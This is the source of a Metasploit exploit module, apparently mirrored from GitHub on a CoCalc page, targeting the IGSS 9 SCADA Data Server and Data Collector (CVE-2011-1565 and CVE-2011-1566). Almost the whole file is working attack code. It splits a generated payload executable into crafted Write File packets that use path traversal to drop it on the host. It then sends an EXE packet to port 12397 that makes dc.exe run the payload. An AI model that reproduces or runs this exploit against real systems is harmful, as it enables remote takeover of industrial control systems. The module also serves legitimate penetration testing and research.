Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/igss9_misc.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::EXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities",
17
'Description' => %q{
18
This module exploits multiple vulnerabilities found on IGSS 9's Data Server and
19
Data Collector services. The initial approach is first by transferring our binary
20
with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send
21
an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run
22
that payload with a CreateProcessA() function as a new thread.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Luigi Auriemma', # Initial discovery, poc
27
'sinn3r', # Metasploit
28
],
29
'References' => [
30
[ 'CVE', '2011-1565'],
31
[ 'CVE', '2011-1566'],
32
[ 'OSVDB', '72354'],
33
[ 'OSVDB', '72349'],
34
[ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ], # Write File packet flaw
35
[ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ], # EXE packet flaw
36
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']
37
],
38
'DefaultOptions' => {
39
'EXITFUNC' => "none",
40
},
41
'Platform' => 'win',
42
'Targets' => [
43
# Service packs do not have any influence on the exploit
44
[ 'Windows XP', {} ],
45
[ 'Windows 7', {} ],
46
[ 'Windows Server 2003 / R2', {} ],
47
],
48
'Privileged' => false,
49
'DisclosureDate' => '2011-03-24',
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
register_options(
59
[
60
Opt::RPORT(0, false),
61
]
62
)
63
end
64
65
def write_packets(data)
66
pkts = []
67
68
# Payload will be in C:\Documents and Settings\All Users\Application Data\7T\
69
tmp = rand_text_alpha(1)
70
filename = "#{tmp}.exe"
71
72
data_size = data.length
73
74
0.step(data_size, 870) do |s|
75
# Each packet only contains 870 bytes of data
76
chunk = data[s, 870]
77
78
# Data size of this packet
79
chunk_size = [chunk.length].pack('v')
80
81
# Flag is set if this is our last chunk
82
# Flag 0x01 will cause the server to close the connection
83
flag = (chunk.length >= 870) ? "\x00" : "\x01"
84
85
pkt = "\x01\x00\x34\x12"
86
pkt << "\x0D" # Opcode
87
pkt << "\x00" * 7
88
pkt << flag # Flag
89
pkt << "\x00\x00\x00"
90
pkt << "\x02" # Command (Write File)
91
pkt << "\x00\x00\x00"
92
pkt << "../../../../#{filename}" # Filename
93
pkt << "\x00" * 73
94
pkt << "\x3E\x01\x01\x02"
95
pkt << "\x00\x10"
96
pkt << "\x00\x00"
97
pkt << "\x78\x01\x08\x04"
98
pkt << "\x78\x01\x08\x04"
99
pkt << "\x00" * 22
100
pkt << chunk_size # Data size
101
pkt << "\x00\x00"
102
pkt << chunk # Data chunk
103
104
# Add the total packet size to the header
105
pkt_size = [pkt.length + 2].pack('v')
106
pkt = pkt_size + pkt
107
108
# Put this packet to the array
109
pkts << pkt
110
end
111
112
return filename, pkts
113
end
114
115
def exe_packet(filename)
116
# Original path seems to be: C:\Program Files\7T\IGSS32\V9.0\GSS
117
# We'll just traverse our way back to C:\ as base
118
base = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
119
120
pkt = "\x00\x01"
121
pkt << "\x00\x00\x00\x00\x00\x00\x00"
122
pkt << "\x01"
123
pkt << "\x00\x00"
124
pkt << "\x0A"
125
pkt << "\x00" * 31
126
pkt << "#{base}#{filename}\""
127
pkt << "\x00" * 163 # only for 1 caracter + .exe (i.exe for example)
128
129
return pkt
130
end
131
132
def exploit
133
# Generate payload and our Write packets
134
print_status("Generating payload...")
135
p = generate_payload_exe
136
fname, w_packets = write_packets(p)
137
w_packets_count = w_packets.length.to_s
138
print_status("#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)")
139
140
# Generate our EXE packet
141
e_packet = exe_packet(fname)
142
143
# Create socket to igssdataserver.exe (12401)
144
connect(true, { 'RPORT' => 12401 })
145
146
# Count how many packets we've sent to track progress
147
counter = 1
148
149
# Send Write packets
150
print_status("Sending Write packets...")
151
152
w_packets.each do |packet|
153
vprint_status("Sending packet #{counter}/#{w_packets_count}")
154
counter += 1
155
sock.put(packet)
156
res = sock.get_once() # Wait before we do the next sock.put again
157
end
158
159
# After the 0x01 flag is set, our connection will be closed by the server.
160
disconnect
161
162
# Now to port 12397 (nc.exe)
163
connect(true, { 'RPORT' => 12397 })
164
165
print_status("Attempt to execute our payload...")
166
sock.put(e_packet)
167
168
# We must delay disconnect() for a bit, otherwise dc.exe won't call
169
# kernel32!CreateProcessA
170
select(nil, nil, nil, 1)
171
disconnect
172
end
173
end
174
175